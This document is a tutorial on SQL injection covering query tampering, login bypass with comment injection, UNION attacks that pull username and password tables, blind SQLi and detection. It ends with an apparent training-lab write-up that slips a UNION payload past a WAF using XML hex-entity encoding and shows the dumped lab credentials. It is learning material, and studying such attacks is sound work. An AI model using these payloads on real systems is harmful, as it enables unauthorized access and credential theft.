SQL injection

SQL stands for structured query language and is pronounced like sequel. SQL is used as a backend language meant to store and access data, as such it is clear why it is a desirable vector for an attacker to access

What is SQLi?

SQLi or SQL injection is a vulnerability in which not properly sanitized input interacts with the SQL database resulting in different types of actions taking place. SQLi is often considered the magnum opus of a vulnerability because it can lead to total compromise.

SQLi Examples

There are many types of SQLi vulnerabilities, attacks, and techniques that are very much dependent on the situation, some of these examples are as follows

- hidden data retrieval
    - this is the act of modifying the SQL query to return additional results
- subverting app logic
    - this is the act of changing the query to conflict with the application's logic
- UNION attacks
    - this allows the attacker to retrieve different db tables
- database examination
    - this is where the attacker can enumerate to db structure and version
- blind SQLi
    - this is where the results wont be displayed in the application and is very hard to identify if there has been an injection, this is when the sleep command can tell us if an injection has occured

Hidden Data Retrieval

Lets say that we have a web app that has a list of products and within that we decide to sort to only include products that hold the title of gifts. The URL to that may look something like this

```
https://target.com/products?category=Gifts
```

we can assume in this case that this poses a query like this

```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

if we were to deconstruct it functions like so

```
SELECT
-- this tells the server to select from the following command
*
-- this means all
FROM products
-- this tells the server to access the products table
WHERE category = 'Gifts' AND released = 1
-- this is telling the server to only access products that fall under the
category of gifts and the value of released is equal to 1 (true)
```

Now that we can dissect this and figure out it's inner functionalty we can start crafting a payload to plug into the URL parameter. If we were to modify the parameter like so `https://target-site.com/products?category=Gifts'+OR+1=1--`
it would be parsed into the query like so

```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

as we can see, the query has changed because of the way we inserted our items into the query. If we pick apart our injected code, the `OR` changes the conditions in which items will be returned, then 1=1 is always true meaning that all items would be returned, lastly the -- comments out the rest of the query which means we have taken control of the query

Subverting App Logic

One of the most iconic things that can be attributed to SQLi is authentication bypass. That is an example of logic subversion because it is taking the input and not validating it. Say we want to login to a site and the query that validates the user looks like so

```
SELECT * FROM users WHERE username = 'test' AND password = 'test'
```

If we apply the same logic as the previous section we can easily bypass the login to only require the username and therefore we can forego the password. If we are logging in and supply the following credentials `administrator'--:1` it would pass a query like this

```
SELECT * FROM users WHERE username = 'administrator'-- AND password = '1'
```

this means that it only checks the username because we commented out the section that requires a password to match the username

UNION Attacks

In cases where the SQL query gets returned in the app's response we can use UNION to retrieve info from other tables within the same db. The way it works is by allowing us to introduce another SELECT query and it appends the result to the previous query. Going back to the hidden data section we could leverage a more powerful attack like so

```
SELECT name, description FROM products WHERE category = 'Gifts'
-- this is the base query that would be used and only returns very specific
data, we can manipulate it to this
SELECT name, description FROM products WHERE category = 'Gifts' UNION SELECT
username, password FROM users--
```

What this would do is return the information of the users and passwords along with the name and description of products

Database Enumeration

We can also find out some very important information on the db to create a more viable attack surface with the following commands

```
SELECT * FROM v$version
--this is used for oracle
SELECT * FROM information_schema.tables
```

Blind SQLi

In many cases of SQLi we wont receive an output from the injected query however, this does not mean that an SQLi has not occured. In cases of blind SQLi it can be more complex to

attack the database as we will not get the verbose output that is relied on so we must use a different set of techniques to exploit this.

- We can change to logic of the query to trigger a noticeable difference in the response, this is dependant on the truth of a single condition. This can be things like injecting a new condition into some boolean-logic or triggering an error by dividing by 0
- We can use a time delay to determine if our condition is true.
- We can trigger an out-of-band interation which can be a way to receive information that the previous techniques could not provide

How to manually detect a SQLi

It is important to test every entry point within an application because not every input field may have been properly sanitized or protected different inputs to test are as follows

- using `'`
  - the single quote is often used to start and terminate a string
- Using SQL specific syntax that evaluates to the original value of the point of entry and to a different value, then looking for systematic differences in the results
- submitting boolean conditions like `OR 1=1` and `OR 1=2`. Then seeing if these in any way changed the server response
- Triggering time delays
- Using out-of-band payloads

SQLi in different parts of the query

When an SQLi occurs it is usually within the `WHERE` clause of a `SELECT` query however they can occur within any location of a query that takes user input. Some examples of these different locations are as follows

- `UPDATE` statements, within the updated values or if there is a `WHERE` clause
- `INSERT` statements, within the inserted values
- `SELECT` statements, within a table or column name
- `SELECT` statements, within the `ORDER BY` clause

SQLi contexts

In the previous section we covered the basic building blocks of SQLi however, in the 'wild' simple attacks like this are rarely successful due to how the WAF is configured or how the application handles input, this is when the concept of "context" comes into play. Context is using the sanitization configuration as a way to pass the desired payload without the payload being detected and therefore modified. If we have a weak WAF implementation then it may just look for keywords that are considered dangerous, we can possibly bypass this using encoding, an example of this would be like this which uses XML encoding to make the input look harmless

```
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
```

As we can see here, the XML encoding for S is `&#x53;` and since the WAF does not see this as `SELECT` we have bypassed the protection and it will be passed as `SELECT`

Lab

For the lab, we have a small store that has a login page and a list of products, when we go to the product we see that it has the option to check availability, this posts XML data to check the availability. The request looks like this

```
POST /product/stock HTTP/1.1
Host: 0aae00e504f3430dc0cc9c3e006000f5.web-security-academy.net
Cookie: session=uNIKx9uo9GAmnMcUsQPJaC80JpYx2SPH
Content-Length: 194
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/xml
Accept: */*
Origin: https://0aae00e504f3430dc0cc9c3e006000f5.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
```

```
Sec-Fetch-Dest: empty
Referer: https://0aae00e504f3430dc0cc9c3e006000f5.web-security-
academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
    <stockCheck>
        <productId>
            1
        </productId>
        <storeId>
            1
        </storeId>
    </stockCheck>
```

We can use an XML tag that will automatically convert our query to the appropriate hex entities to obfuscate the malicious payload, the attack would look like this

```
POST /product/stock HTTP/1.1
Host: 0aae00e504f3430dc0cc9c3e006000f5.web-security-academy.net
Cookie: session=uNIKx9uo9GAmnMcUsQPJaC80JpYx2SPH
Content-Length: 194
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/xml
Accept: */*
Origin: https://0aae00e504f3430dc0cc9c3e006000f5.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aae00e504f3430dc0cc9c3e006000f5.web-security-
academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
    <stockCheck>
        <productId>
```

```
            1
        </productId>
        <storeId>
            <@hex_entities>
                1 UNION SELECT username || '~' || password FROM users
            <@/hex_entities>
        </storeId>
    </stockCheck>
```

the response that we receive from the server looks like this

```
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 100

883 units
carlos~vk6vyuemhm8nn7ha3ij9
wiener~2m8eeoth2s22bg4gg4mu
administrator~sqr1p88odbwz7jzo57kl
```